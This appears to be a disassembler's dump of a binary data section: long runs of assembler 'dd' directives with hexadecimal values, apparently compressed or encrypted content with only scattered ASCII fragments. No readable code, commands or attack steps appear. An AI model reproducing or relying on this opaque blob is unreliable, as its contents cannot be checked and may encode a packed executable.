		dd 873648C7h, 120B742Ch, 1942BE7h, 0EC594F04h, 3A587F00h
		dd 8C90845Ch, 0B8B22982h, 667E20A8h, 1844CE24h,	0FE261780h
		dd 73FD3580h, 8C5C33EBh, 0AAAC888h, 2AE68CE4h, 60F18680h
		dd 0E19DA10Ch, 8D4898F6h, 0DF8AC0E8h, 1C84F37Eh, 1F94AACh
		dd 56C18C3Dh, 0D2C2D1BDh, 82CEC483h, 0A01AC92Dh, 702DD9A8h
		dd 874CBE2Ah, 49C24067h, 6543685Ah, 0CECC215Bh,	0E831805Ah
		dd 13C4B9AFh, 0AC18C4C6h, 9F1401C0h, 0B161DB4Eh, 29883C62h
		dd 8849F8BFh, 1E558008h, 953BFA8Eh, 3F001496h, 0F4AD1E5Dh
		dd 4C4D17E0h, 7700C816h, 0C8AFD1E2h, 0F28F2FCh,	0FD1058D7h
		dd 4D015D78h, 2AF7EAC6h, 0C5CC5021h, 0A4589A28h, 0D1B484DCh
		dd 0D4DC2504h, 20F0023Ch, 68496710h, 7D2862F4h,	4F8450F1h
		dd 0BD0AAB31h, 0FC7B8F06h, 0A4580A11h, 0B4085301h, 60E3939Dh
		dd 0BD4C3060h, 8C06F880h, 0A74A721Eh, 71F7D440h, 0BE8DF97h
		dd 82486C67h, 480EC28h,	2378B308h, 59A90387h, 0A7C640C4h
		dd 34CB2824h, 447E1808h, 13A4403Ah, 976D5A1Ah, 0DFD85C22h
		dd 1CC18D25h, 4303C518h, 0ED2419CEh, 8F16BCC2h,	70CBF8C5h
		dd 6AC0CAC8h, 932CF99h,	69DEAAB5h, 81679C84h, 150EC3DCh
		dd 0A23183Ah, 0F258D200h, 2F1CC3F5h, 0E4A04ECEh, 270C6AFAh
		dd 0FD26701h, 8AC66B31h, 0B4B24DCh, 0E99205A2h,	389964C6h
		dd 0AC18C1D1h, 0FEAE5417h, 22A88450h, 10865CD5h, 51C8DC10h
		dd 0EDD47014h, 73068F10h, 3A1C5C50h, 74CCEBFCh,	354E2A3Dh
		dd 0B72CE27Ch, 0CA45C1B8h, 504FD5A9h, 0ACBEF84h, 201EDA00h
		dd 34D63B0Bh, 8B741E95h, 26AF412Fh, 322171E5h, 58C51E10h
		dd 0CB278190h, 4C11981Fh, 0E8854CFCh, 0CE5C08ACh, 4628C704h
		dd 0AE01C8A8h, 9658C64Ch, 0F7FC2488h, 8648C40Ch, 48E2109Ch
		dd 0A380E0F2h, 4256DE63h, 44A55125h, 53F983C4h,	3124E879h
		dd 19591114h, 0E6A0F69Dh, 0E8435039h, 0F364125Eh, 759E0168h
		dd 47FF9F30h, 0E8AC342Eh, 0E705DFF4h, 2C6405C6h, 55067CB0h
		dd 0E7F13C6Eh, 0AEBC9C14h, 0A820D566h, 0C8277C41h, 8293B310h
		dd 96020408h, 0B5181367h, 0A24054D0h, 30C9F258h, 713A547Eh
		dd 0DC057F40h, 0A65AB973h, 49CE0CE4h, 16002C43h, 0F6FE3BA7h
		dd 8A019894h, 3D84BC21h, 0C8605593h, 82BE40E0h,	0CEF174B8h
		dd 0EEA25107h, 88385C62h, 28037236h, 0A370D755h, 0E4614C80h
		dd 9A06610h, 41F42AB8h,	21855DCCh, 417F5443h, 0CCF22CF4h
		dd 8A7408C8h, 0FB06D081h, 1729AFEFh, 80099184h,	90A38945h
		dd 0E50C917h, 3F0CCCEh,	0BDDAF88h, 53A24BBh, 442F2004h
		dd 0C4F93770h, 0B03E344Ch, 1BF4990Dh, 48D42039h, 960D150h
		dd 0B48B39D7h, 92C20EC8h, 9AB8E091h, 7628946Fh,	828CB46h
		dd 44EE00F6h, 0EF19669h, 540F1701h, 294E28DEh, 0C394E95Bh
		dd 10FCF015h, 0A17E0212h, 8A41C4E4h, 0CE4CC0C0h, 11DC9430h
		dd 17C3532Eh, 0DD7D9B24h, 0FB40205Ch, 0AB117060h, 8894Eh
		dd 0A06D879Ch, 6BCC4F96h, 24477B0Ch, 8681DAh, 0CF53B427h
		dd 91DFA354h, 0FC78924Ch, 4DE48F4Dh, 3DAA022Fh,	0E0772318h
		dd 8003E358h, 4F28A15Ah, 0B7279C92h, 0C47045A4h, 5AAF6149h
		dd 0A205DC3Dh, 0E05E3EF6h, 2020D878h, 20709079h, 0AE124A0Ah
		dd 0A8B0D4F1h, 0E8A15050h, 0F61484D7h, 26206276h, 0EC875C1Eh
		dd 52495E86h, 0D1349114h, 418C4h, 643E3186h, 68D4E2BCh
		dd 62082F04h, 0EC885A42h, 0CBF5E3FAh, 977D6069h, 576C6820h
		dd 153BCF0Dh, 84338EAEh, 19D763ECh, 543ABF5h, 0AAF6D298h
		dd 0D4540F74h, 0C4F90209h, 9AF7E409h, 58CC80D0h, 39C3802h
		dd 5B06F470h, 31B6A2AEh, 98205C5Fh, 9D0E104h, 83FE68B1h
		dd 0E70004C4h, 937FDFD5h, 0C85840h, 44DC0441h, 0A0CA8D05h
		dd 0A75E2700h, 55FBC1ECh, 0B6DB0173h, 9182206Dh, 100E6B5Bh
		dd 4F74C10Fh, 425D352h,	238C2E2Eh, 49BA0074h, 9BA35077h
		dd 9C8460E1h, 93DFB240h, 0ACDE88E0h, 467414A4h,	0FA5500C9h
		dd 6670F942h, 0BE6F2CD4h, 2883084Ch, 0FB102E05h, 53F4F0A0h
		dd 0DC12EC24h, 0ED8D1CCh, 2C5479ACh, 80A9885Fh,	221871D1h
		dd 2167C800h, 0A34CE777h, 0DD340585h, 0C18DBEA0h, 7FEAECh
		dd 52EBB67h, 2752C197h,	3698A4B0h, 0C7371F04h, 58E4C8B4h
		dd 54FF4EDEh, 2C11984Ch, 82A38804h, 4F7AA654h, 0B8B4CF04h
		dd 7B1500AFh, 3467608Dh, 6C00BB57h, 0E49C0FB9h,	612451C3h
		dd 708D4199h, 14206A2Dh, 1BCC82Ah, 999417DCh, 20C2D438h
		dd 0DE8802C4h, 0EE4CA4F0h, 913CB474h, 425905D8h, 74A04F26h
		dd 9288402Ah, 4D87027h,	0C5414124h, 39EF228h, 0F230AAFAh
		dd 70DD1F1Ch, 0C509222Eh, 67A32A50h, 0C8561260h, 0E8A307E0h
		dd 303232B4h, 0B98BC84h, 82E89953h, 76BC9C9Dh, 2678402Ch
		dd 9A0FAFD4h, 0B21AF48Dh, 7F6C6CD1h, 7590E213h,	980C7D86h
		dd 191DF4BDh, 0F1FC7470h, 4E002862h, 7DCB06B8h,	0A77392E3h
		dd 0AF765D05h, 548184C4h, 0E0605E48h, 0F4048463h, 1AFA9C0Eh
		dd 49782886h, 0F4821C53h, 7CE3CE68h, 0DD07F18Eh, 0C33DFBF6h
		dd 42F7FE50h, 0F87F5850h, 0A4DBD0C5h, 0B4B44CF8h, 390F467Ch
		dd 43A88414h, 6CC06426h, 99428EDAh, 709D82D0h, 0ACA05F24h
		dd 0B4CA8CB2h, 0C424E848h, 0CE4BA7E1h, 0F4B810E8h, 7C85C400h
		dd 0B289B6D2h, 8CE9483Ah, 109F2E22h, 3B39FCh, 0A3C6E50Ch
		dd 0D434A5FCh, 8654AC04h
		dd 2A0576E6h, 8884131Dh, 0B824F0F0h, 74525813h,	92465E88h
		dd 0D51E9E07h, 0E9B5C172h, 0C581D846h, 0A89A4825h, 0ED10B81Ch
		dd 60845324h, 1AB3FEDFh, 7D45D0A4h, 7C4D188Ah, 0FFC401C8h
		dd 8E5D37DAh, 9058D8B9h, 0CF7C7B0Bh, 0B0881048h, 8038BEEh
		dd 9CA90180h, 65400984h, 28715E20h, 0E4C0E527h,	4183604Ah
		dd 700818EAh, 0A31219A5h, 67AE8616h, 6F9AF091h,	870DF501h
		dd 39A490C9h, 25201470h, 893D000Eh, 64AB6EADh, 0F90382B3h
		dd 7C84C1B8h, 90D99AF2h, 89B67290h, 5C773036h, 0E640C49Ch
		dd 1C5948EBh, 80911584h, 3DC06438h, 7804D147h, 928503FBh
		dd 1993D4BCh, 393A3895h, 816800B4h, 0AF9E5F0Ch,	36CB0016h
		dd 53E260D9h, 1109F54Eh, 80E33E8Ch, 525EB45Ch, 80AA4B57h
		dd 0DEDCF484h, 63082850h, 0E95460B0h, 0FE1654DCh, 2CD07FC2h
		dd 516E4Eh, 9BA48D5Dh, 206330BCh, 60732A0Ch, 906960E7h
		dd 9E74FA44h, 22B985ACh, 87A0D28Ah, 0B004444Ch,	0A92EC712h
		dd 6DB084B8h, 1E00128Bh, 0A145E6F7h, 4BF0FCBh, 44C1B646h
		dd 0B2EE040Bh, 9088708Eh, 798D2CC0h, 4F9E0037h,	0F7F499B4h
		dd 0D6265064h, 5C42C4B7h, 7A6020BCh, 87331028h,	89ED787Bh
		dd 0AC7829Eh, 78041538h, 66024298h, 0ADE3F020h,	4DA8C0AEh
		dd 0A652B550h, 23475A27h, 0FD31C648h, 460C203Ch, 0DCCC5B91h
		dd 135E008Ch, 0F8E03FECh, 0E132F1D8h, 74A790A1h, 76465C20h
		dd 0C4341100h, 546DE025h, 0B90480Eh, 72FC095h, 0E10FE906h
		dd 0CDD10280h, 0D79AD018h, 0BEE86B00h, 68354A59h, 70ED7309h
		dd 8D2CDC3Fh, 10351480h, 36C4681Fh, 0C66958h, 0E652F57Ah
		dd 1C84E733h, 306A373Ch, 3E85004h, 582033C3h, 448991C3h
		dd 8CFBF87Fh, 1402116h,	0F67EC350h, 8007E929h, 0AF433D17h
		dd 60B356AAh, 0F2805425h, 951AFFC1h, 17D417A5h,	80141135h
		dd 89C08537h, 31FD37B5h, 0CF236F48h, 66B009F5h,	6818CB8Bh
		dd 81F401FFh, 0FACC00C9h, 0BD8344A4h, 34D021D5h, 42841190h
		dd 0C5850906h, 8D761A0Ah, 4EF62C30h, 72DF8152h,	40980622h
		dd 3349E95Fh, 0CF57BCC8h, 8944C3EEh, 201C627Ch,	0CBC35747h
		dd 0E6D53A00h, 14D4E07Ch, 6EB906E7h, 7861C6D3h,	61E80244h
		dd 55CF390Eh, 9C5BC888h, 0BB029B00h, 4D45C334h,	9D890C93h
		dd 59B605BDh, 95185078h, 0FF1003EDh, 818AA4B5h,	0D94C7BAh
		dd 6F032DE9h, 88826828h, 81C0EE8Ah, 871474C6h, 22A9F792h
		dd 55EAC8D3h, 91C35DC3h, 19186C89h, 554588h, 7AAF53C3h
		dd 608AA5B8h, 0C1BD310Ch, 0A619A01h, 263D85C7h,	2903B3C4h
		dd 0A0336DD1h, 7FD0D414h, 16C84D4h, 8DBA6601h, 0B19641FFh
		dd 0B52900F8h, 80059221h, 4035BD82h, 2906A15h, 8B338E50h
		dd 0C559514h, 1D329090h, 7ED4AAB6h, 0ACB2294h, 1A6DBD8Bh
		dd 0CF81C016h, 71F6A2BBh, 233930C6h, 4860B024h,	0A1D03CD7h
		dd 0D024051Ah, 1A443C96h, 87D70481h, 65440E48h,	0E9D36305h
		dd 794E1418h, 1442D52Dh, 0DA816080h, 0D57AEDFEh, 297E0B7Eh
		dd 0F50B3A8h, 7EA1887Bh, 400A26F9h, 7E8A194h, 0CAA91093h
		dd 8B1815D1h, 1BF9C624h, 938F0FC2h, 8D6C14BCh, 0E9A2A61Ch
		dd 0B41D1180h, 0D00C4FCCh, 92EC8ACBh, 0B5AD86C3h, 1DA46260h
		dd 88E10149h, 0FB1B0A1h, 0B549508Bh, 61820485h,	99A1CA6Bh
		dd 1819F982h, 86F40476h, 8207AD9Ah, 0F9AC8135h,	2C45FDFEh
		dd 2488194Dh, 0E9072AB9h, 39FEF6EDh, 1C00D18Eh,	1CCC0A01h
		dd 4B6909h, 83D0372Bh, 94B31768h, 54DBB531h, 0A93201E1h
		dd 5A0E5223h, 548944C3h, 4200DECEh, 59E7C352h, 8D198B31h
		dd 0D79D102Dh, 538985E0h, 1BA22C18h, 0E6DD30h, 43E8B6F4h
		dd 0E181CEA8h, 9AD5C801h, 5D1E961h, 3D3B0F22h, 0C60E840h
		dd 0F7279243h, 0FC6800E2h, 0BB9F644Dh, 19851F3h, 594EEC02h
		dd 6AD1B58Dh, 0CD7D4102h, 527D9023h, 5123E5A6h,	44C3590Eh
		dd 18624C89h, 0C3514120h, 0E84D25D8h, 10A380D7h, 1CB704h
		dd 0ADBF6660h, 61F28B4Fh, 0B1D0FF24h, 8D852A29h, 982730B9h
		dd 90E15EFh, 1926BD85h,	0B44C1F02h, 0F2E852F3h,	40991D00h
		dd 0FEC604Dh, 90A9D873h, 0B15A021Bh, 5E18566Fh,	8924C372h
		dd 46705474h, 10C30356h, 8E2A84D5h, 746051A2h, 5FDB2995h
		dd 28C8CBD4h, 25FE85Ah,	28EBD95Fh, 0B583F174h, 31422BC1h
		dd 860F1366h, 61D33732h, 0E9111701h, 6A0B8012h,	0B3DE9184h
		dd 5A4607ADh, 4023F555h, 0A6F02F80h, 8BE4DA01h,	4006BFC0h
		dd 9F20D161h, 75314401h, 55120962h, 1974200Ah, 36C75350h
		dd 0B9BAD9B8h, 0BA9AD46h, 0B3F29D8Dh, 5BD38621h, 17225858h
		dd 23201E82h, 2724B0E1h, 0B89CDCEh, 2A40EBC2h, 6909031Eh
		dd 0C2049ECEh, 69FC8150h, 0D8D40726h, 0D01EBC87h, 256C5333h
		dd 89440F67h, 0D438B2Eh, 209C066Dh, 0C00A10B5h,	0C9952B5Bh
		dd 5136C21Eh, 51E76A59h, 5B611564h, 63221D0h, 0D603BE32h
		dd 6A82B150h, 1FAF2460h, 45648B5h, 0D649BD03h, 8158E51Fh
		dd 36319CC3h, 8481AFDh,	68BFA9B9h, 82C04AC2h, 517652Eh
		dd 23602E53h, 0EE5D001Ah, 0CF11F9A9h, 8D33FD09h, 0E92EA755h
		dd 3B6180A8h, 6F87E77Ch, 9001B600h, 81DD5202h, 5AA338BFh
		dd 592A6C48h, 9B531FFh,	41DF110h, 0EBB80480h, 649DF8CEh
		dd 0D961E711h, 51E095DAh, 89D04993h, 348418E8h,	0B4AC0110h
		dd 0F96191Dh, 9E0AE0E2h, 9DEADF05h, 0A30F7270h,	592BB045h
		dd 745126B7h, 0C40F1D46h, 0D3E066BBh, 0DE21109Fh, 105B434Ch
		dd 0F140399h, 0E9899282h, 0DCBC590h, 75ADB000h,	40C57A9Ah
		dd 10511DB9h, 0DA18548Bh, 591B7910h, 282C23ECh,	81CF5C20h
		dd 3D2344B2h, 190B7B8Ch, 7F01E983h, 0C3221013h,	33E29Bh
		dd 3B9E4E8Ah, 88DD8373h, 0C43DAD01h, 348FCF5h, 0E9C760B1h
		dd 0E43DBD2Ch, 5301239Ch, 44850F60h, 14F844Ch, 3D5F6106h
		dd 0A5445296h, 0E141BF27h, 0BDE03C98h, 7C0748B9h, 5AF59F82h
		dd 0AE2146Bh, 0F09F0C09h, 40E84BCAh, 7A86D4B8h,	0A201CE59h
		dd 1535A932h, 8970FADDh, 1867B013h, 545FB99Fh, 0B680EFF2h
		dd 48C59A4Dh, 71C019C0h, 1DF64A50h, 0BE175376h,	210F9EA0h
		dd 0CAD1A09Ch, 290F16CBh, 1BD058Ch, 30ABCF81h, 0F1A2335Ah
		dd 841F0BC6h, 502E0BC6h, 45C6170h, 8C1CF831h, 2A16A01h
		dd 87210B79h, 0C2A926D1h, 181CD18Fh, 0CD4F007Fh, 0CF6957B6h
		dd 0F8399145h, 12CA5C83h, 8C283B85h, 83A40008h,	0A88DF01Ch
		dd 0CC12D5E8h, 8304863Eh, 806007F5h, 0E92470DEh, 844702Eh
		dd 53E6F240h, 571F5C50h, 545739BFh, 2D092831h, 1408806h
		dd 72178A45h, 2E801711h, 517C70A7h, 0D1BF5250h,	98592540h
		dd 403D98ACh, 229E921h,	9E807801h, 0ADC9AE82h, 9B5C00B4h
		dd 0D48170C2h, 0F1388FE9h, 896084FFh, 1AA031B5h, 4D85EC01h
		dd 0CC408F09h, 578A4E0Fh, 176B203Fh, 7602E12Fh,	72C5DC34h
		dd 0E7574769h, 79FCB8DDh, 66C085DDh, 0A10C41B9h, 0FE1953BDh
		dd 5C899CC0h, 43C0BE99h, 0B5C353h, 9C65F51Fh, 0D733D67Dh
		dd 22F00A49h, 8D61260Bh, 0D3B004Ah, 0C4F1D7A0h,	0CD802901h
		dd 83BA5AECh, 982D2AE4h, 94B4B292h, 0CD004EA0h,	0DFD28ED1h
		dd 0B9342598h, 0CAA0BCFEh, 7FE6B2B1h, 20CE0381h, 25E92BD9h
		dd 7D683B4Ch, 8640CB13h, 47042008h, 982776B9h, 0FCC1851Bh
		dd 93409A52h, 0DF4B72Ah, 6A31AAE1h, 4BD52C92h, 8A08505Bh
		dd 0ACD93F15h, 5119A510h
		dd 6C1D26Ah, 2EF3962h, 0C3F6DB8Ch, 0FC764104h, 4DB2C613h
		dd 56032070h, 0A8B85268h, 0A95E139Ch, 13CA2101h, 17C4323Ah
		dd 2D08046Ah, 64B73B10h, 24BEDC81h, 2D080141h, 9B680447h
		dd 79EC18ACh, 0A4F0CD24h, 684F071Eh, 0B82F2661h, 72158908h
		dd 7D202C86h, 283071B0h, 0C0851856h, 275A675h, 64986841h
		dd 2AB4DB87h, 583DD0C8h, 0A439684Ch, 20802BE7h,	249D8B41h
		dd 45BE217h, 29554350h,	15B0C254h, 0DBAB03C7h, 0C436187h
		dd 85074002h, 809B2F11h, 68026A15h, 0B5652E47h,	11108B25h
		dd 6845A067h, 0A5F71097h, 16BD1092h, 26A67E6h, 75C2280Ch
		dd 68609B32h, 0D44EA1B4h, 0FBA0C8Ch, 8B8D34D2h,	84F01726h
		dd 75001858h, 0A1C89027h, 1F59670h, 1C9B70Fh, 411BC195h
		dd 2433FC7Fh, 894CF2EFh, 506213EBh, 0BD75C508h,	80F5BDBDh
		dd 3550FF64h, 800F577Ch, 855992D9h, 0C0B2589h, 0B32390E9h
		dd 4C6CE4EFh, 0B917A026h, 38E23232h, 29A5026h, 950B5FD2h
		dd 7BD22EA9h, 698219EEh, 910205Eh, 129A41B5h, 0FF0C804Eh
		dd 4485570Ah, 8D268B0Dh, 0E986C85Dh, 1A17015Ch,	2ADB33F9h
		dd 0B9883079h, 0C01E3F0Bh, 6121188Bh, 3F7D0F40h, 8F5164FEh
		dd 97AD6A6Bh, 0E680434Ch, 0E59F4E8Dh, 9B7CAF01h, 0FFFB8322h
		dd 3511E896h, 3AF8D6C9h, 0BD3393C1h, 17940AF9h,	4C015F89h
		dd 81C70C24h, 0FF1599A4h, 0B8E98303h, 0B2041598h, 5C638BC3h
		dd 84E85530h, 0ED815D40h, 2A96341Eh, 401B8314h,	354004FCh
		dd 5D0CA989h, 74A74FACh, 0ED051847h, 0B3D8DEFh,	0C12BA9A1h
		dd 31C208CDh, 8DA7C021h, 56334859h, 23CD148Ch, 185EBD6Ch
		dd 0D78B1766h, 4F171550h, 792666D4h, 0F608525h,	0BF4E8C80h
		dd 9065DB27h, 0F8312Ch,	0AFEA613Dh, 70A636EBh, 55296500h
		dd 8B9A8C42h, 7327FFD9h, 443A4660h, 0B8880AB9h,	55D70004h
		dd 81640548h, 0BB000DF7h, 8685D465h, 70B640BAh,	33EAFA34h
		dd 0ED0C5FE8h, 5868FBB8h, 75564D09h, 0C8818E0Ah, 53011129h
		dd 59E0983Fh, 0D8BA8B0Fh, 0B5176B4Eh, 0A03701F9h, 8ECFD325h
		dd 21043DC4h, 5908217Dh, 38E4B442h, 0B046FA20h,	0D0E9F817h
		dd 53E3DD3h, 0F630B200h, 0CEB098BBh, 8524009Bh,	0D1EC2261h
		dd 1561F3BFh, 13AE9A2h,	31ED2004h, 3571382Eh, 80015BE1h
		dd 65637845h, 69740370h, 49206E6Fh, 72B0669Bh, 0CA2616Dh
		dd 656C6D83h, 2C9973CBh, 3A08BE20h, 68749F64h, 6C36E77Ch
		dd 6977671Eh, 63E767E7h, 73F664A7h, 0EEE7FB28h,	64406D61h
		dd 2EFBE352h, 0C6D2A3Ah, 16685420h, 0F679EC6Bh,	6F0AFE75h
		dd 1F4040Dh, 467028C6h,	43627360h, 754C5254h, 0D1B3FF2Bh
		dd 1E66699Eh, 0D8A06497h, 7970A18Fh, 696C08A8h,	61FE62F2h
		dd 29647214h, 56424036h, 7352657Dh, 3D7F7F99h, 1ECA2579h
		dd 63028743h, 0A44E496Bh, 4F70640Fh, 1F8E5455h,	0E86F7250h
		dd 0B40F851Dh, 60F643Bh, 3D7469E6h, 1E210F87h, 8E502A6Fh
		dd 1E751834h, 0DDBDC302h, 2069C60Fh, 5690012Dh,	72AF1124h
		dd 7B0E5018h, 0AC6889AEh, 9507AB25h, 93C8AF21h,	19C91094h
		dd 0B1079E28h, 8F16322Fh, 210D248Bh, 45216465h,	25070529h
		dd 0A138A244h, 38AE648Dh, 0B6648DEEh, 0AF460C38h, 531CB2A2h
		dd 0A6F24AF5h, 25FD531Ch, 571CAAF2h, 0C916F04h,	41D2D84h
		dd 0FDC8A2E9h, 41924BDh, 5D95653Ah, 5142BF0Dh, 10843341h
		dd 810429C9h, 0B91CF8C2h, 958D85EBh, 52181BE2h,	0C3402834h
		dd 893BD41Fh, 932FB5CBh, 400C44CBh, 9D8B8855h, 4CC313A8h
		dd 652930BCh, 501011A3h, 5479A288h, 9087AE08h, 79B28858h
		dd 8AA6085Ch, 0DFADC94h, 6811AFADh, 5A49CD41h, 0C8AA0C90h
		dd 32B264A6h, 0CA219AEh, 0A848A9Eh, 0D01C9898h,	2D1007A4h
		dd 6500727h, 0D51E60B1h, 406A24C4h, 19BA24CAh, 0BC975B5Ah
		dd 1D4C0125h, 1B88C14Ah, 750A0021h, 850BFD91h, 25BB1B2Eh
		dd 1F38100h, 7D608E10h,	0B788585Fh, 59565083h, 46C78188h
		dd 0BC607340h, 0F124095h, 0D900BD2Eh, 57148B9h,	13FEEFBh
		dd 0B3878BF8h, 73686104h, 0F28100A8h, 0F584ED5h, 2578B987h
		dd 0F305C9F8h, 3834FF61h, 76006AB2h, 0FB658A58h, 3100660Eh
		dd 0ED030293h, 9639EEh,	60D28F6Fh, 0E3F5D381h, 61000FEEh
		dd 3DBA5E5Ah, 0FC0AEB3Fh, 909F0CEEh, 37437DBh, 7FD18088h
		dd 39F60E2Dh, 9C78F38Fh, 473ECF77h, 0B5C6001Ch,	665DE9F1h
		dd 5A0800BAh, 80073489h, 0C6B830C3h, 0ADE88103h, 0C321C9D2h
		dd 0A9C0C1D6h, 0C8511192h, 43001C1Dh, 91199EFCh, 0A0C90C99h
		dd 4B9CF8A8h, 5A08BE8Dh, 8F27BB80h, 96793B29h, 2CE64500h
		dd 72315863h, 0B20900ADh, 4C1211D3h, 0ED003471h, 815594A3h
		dd 76AD108h, 5809692h, 317300A7h, 2F00F291h, 6998FA95h
		dd 0C160028Eh, 545FE308h, 0C890F8D0h, 8012073Bh, 73D596CAh
		dd 2C0ACDh, 61FC67C1h, 0D8D14C76h, 78D7B230h, 605648h
		dd 80C9CA47h, 0CA7D6B5h, 87C22C00h, 9E467A3Eh, 20286738h
		dd 3B96311h, 209CDAD2h,	1A2DF23h, 0A44D34Fh, 0A1E980C6h
		dd 4877D6FAh, 2DF50C0Fh, 9F081740h, 28021C1h, 0C4D46ED6h
		dd 4F8E0043h, 29F49496h, 5403FD78h, 0FED2C07Ah,	86C80377h
		dd 2DA906C1h, 320F40A6h, 3F30945Ch, 911537C3h, 38083084h
		dd 94746D21h, 0A5E2FA00h, 579B2E27h, 4DD20A9Dh,	898CC08h
		dd 0C0862517h, 78395895h, 34F85288h, 0FC94621Ch, 3B113CA3h
		dd 947A6B00h, 0BC69CAEEh, 1926AC33h, 8298F8CCh,	3483005Fh
		dd 0E619FBB8h, 0C76012ACh, 36EF9120h, 506EEEE7h, 3D5B24Fh
		dd 6B665B3Ch, 991CCAD8h, 2AE00C88h, 0F89C011Ah,	5080F06Dh
		dd 3308E9h, 4A5EEF3Bh, 52C54E45h, 0BB085566h, 43150021h
		dd 90D2FFEFh, 24900380h, 0EB2EE114h, 1EE200E4h,	0D9402C0Bh
		dd 20910105h, 2F2386D2h, 0CA41A8C0h, 0B7D308C2h, 38B1DE16h
		dd 3C03B880h, 6EB7174h,	3F6021C0h, 7FAEFA9h, 652A674Ah
		dd 0DC05301Ah, 0FE0966FDh, 8E1911h, 0C3FF7170h,	0A0EC029Ah
		dd 4EBF2F72h, 0B8E42045h, 57636A60h, 5D86C800h,	0F0B9A752h
		dd 8E2A0C30h, 0D3C119C2h, 0B4F99118h, 3E641BF8h, 0D4D4E84Ah
		dd 0ED40008Ch, 4FBD67BBh, 0BF3FE3D5h, 0F1A88AECh, 465EB46Ch
		dd 639900BEh, 7D0A452Dh, 902A01CEh, 328D1924h, 0AC4843D6h
		dd 3C3081D6h, 59D55042h, 1955004Ch, 0AF9EAAEAh,	218D704h
		dd 0E881ADA3h, 0AB41C0C8h, 0A96C7C7Dh, 1273012h, 0F921601Ch
		dd 0F9C183Eh, 638B2E8Ch, 0CEB5F63h, 6CD8A900h, 1CE01D56h
		dd 207600CDh, 0D04E5E1Ah, 40985073h, 0A1B00A30h, 927FCBh
		dd 614A4653h, 144C6789h, 0DCDD3F02h, 40110D27h,	7C77E8E8h
		dd 2B61CE9Bh, 16EB7083h, 78F11100h, 668CFA06h, 94D719A5h
		dd 50F7086Eh, 66154D8h,	7063C000h, 0A802EBC2h, 0F990A4B5h
		dd 598F7210h, 0BD264B00h, 622F39Ch, 0CF803F5h, 0FF2E7B3Fh
		dd 54A021BBh, 58C010D9h, 0D280DC02h, 47E9360Fh,	96189166h
		dd 0C76118AFh, 0D1E60270h, 3C89C005h, 0E87BA0A1h, 847980BFh
		dd 0BDE22B58h, 0CA350013h, 69AF3098h, 483A6328h, 0B7DC8678h
		dd 46F8726Eh, 6087774h,	0C4868CFEh, 7D4840FBh, 1A04006h
		dd 0A66D46EEh, 0D14C6B7Ah, 0BC52D070h, 68E5F800h, 9F710C94h
		dd 3024B034h, 66107EAh,	0EE011556h, 9E45A88Ch, 0F4344114h
		dd 28C7589Dh, 1FAF7B11h, 7FC0BA55h, 22D9932Eh, 0A9E8C0C5h
		dd 2AF45E43h, 704ECB00h
		dd 7CA1579h, 0FBF50E13h, 560AF39h, 0D3CB2B0Bh, 713B250Ah
		dd 18782004h, 5CA18C10h, 3C781802h, 6CA13C94h, 947051C1h
		dd 552D23C0h, 7810C0CCh, 1DC18EBh, 70A0E67Ah, 63FDDAC0h
		dd 303EF224h, 0B34C0968h, 8E468004h, 0EE674350h, 0C721033Dh
		dd 0D8CD3976h, 0BAA3F0E3h, 4D32929h, 0B225AC70h, 5072490Ch
		dd 0D2E94D0Ch, 941FFE21h, 0D4E69905h, 15956004h, 0F11F7887h
		dd 0C8F0340Ch, 50DF1A48h, 92871D9h, 941FD802h, 73C050D2h
		dd 0DAE7EF34h, 0D84F21C0h, 4CD8380h, 0D2EA9107h, 0ED5481A1h
		dd 0A9398C0Eh, 78914137h, 1801600Ah, 829CD81Ch,	4B2338C3h
		dd 0C35100EAh, 35B1F9F1h, 601CE1B9h, 6BC0D672h,	0C64CC94Fh
		dd 21D114CDh, 0F96AC45h, 0A198D74Ch, 0D849562Eh, 3A870068h
		dd 0AD027CAFh, 52E0DCDAh, 1330005Dh, 7D637C4h, 18CFF230h
		dd 3A25D070h, 7809C94Eh, 8002A5E9h, 13E3B262h, 96FAC3E0h
		dd 4009CECh, 0CFA5768Eh, 6078A927h, 3ED509DFh, 8B002D8Ch
		dd 93AF2EF5h, 0AEC7AE02h, 3430F54Ch, 522DF6FBh,	9B22E0A5h
		dd 48410737h, 200F9123h, 1B44BEF0h, 0AC13549Ch,	5CAD768Eh
		dd 4B005C20h, 0B1F70BBBh, 21C11756h, 0BF63ABCAh, 2EE02204h
		dd 0D1299CC1h, 8322E13Bh, 0C0BA8C18h, 0BB213CC3h, 23E83A12h
		dd 8D8988A4h, 6408359Dh, 5E007A40h, 64E15D0h, 0C31376EAh
		dd 82923148h, 8F44F8A6h, 0DAB100FEh, 14A35B56h,	0EA5CBFC1h
		dd 0A86D8010h, 7AD6D508h, 0CE82065Eh, 4085ADC6h, 56FBF44h
		dd 4421CCCDh, 0CF9046F6h, 7E4410C3h, 50D67675h,	26A7F72Eh
		dd 1CCCCB3Eh, 0ADC1B0E7h, 0A0BA5391h, 15741C49h, 0EBC5F72h
		dd 0E0370276h, 7BE2401h, 0D79CFB1h, 0BE00B909h,	5ED4D651h
		dd 0B05A0930h, 2467C684h, 82C8AAEh, 2D01CFE8h, 5E792F94h
		dd 0D731D0h, 9C5B981Fh,	3FACD210h, 96C6C0A8h, 0EEEB9400h
		dd 276B8BEFh, 95BF2EF7h, 91684440h, 0A2E9AD1Ch,	0E1F08859h
		dd 946711C0h, 5F8A627h,	452315AAh, 3DD4322Ah, 280AC44Ah
		dd 8843C160h, 0A5219D39h, 284FC2C4h, 37D0C0C1h,	98A91983h
		dd 4104F6EAh, 0C9A3AD80h, 132E2080h, 0BA2D0B59h, 0F95647E4h
		dd 0AF540402h, 5D14B1C9h, 0A0C6F030h, 84448830h, 0F64C8AF8h
		dd 0C9EA3AFCh, 0A7007A04h, 0A08E72F4h, 19B4CC8h, 0CBA51926h
		dd 29EA286Bh, 2C110038h, 0E8C4C991h, 1A1C048Ah,	88E24722h
		dd 68983B04h, 0E1E12885h, 800EA92Bh, 967F44F8h,	0C12CA27Ch
		dd 9C24E82Ah, 5DAF03C1h, 0B57B245h, 0BA156100h,	0F9E3C494h
		dd 99312FFh, 0A81C2769h, 63793E60h, 28D314FDh, 0B11098C1h
		dd 0F4AE8480h, 0CE91819h, 2B0922DAh, 8810121h, 0EC0B1152h
		dd 0F2301409h, 6111C23Eh, 69C00205h, 77030F37h,	0A6F59546h
		dd 8EFCAA43h, 18518838h, 1289F0A7h, 0AEF09092h,	688E6903h
		dd 8E804DBDh, 69FC9899h, 424B185h, 6D6147B1h, 0D23B1340h
		dd 7220C2E3h, 0C848ECACh, 6504488Bh, 0C2F2F01Dh, 0D556A8C0h
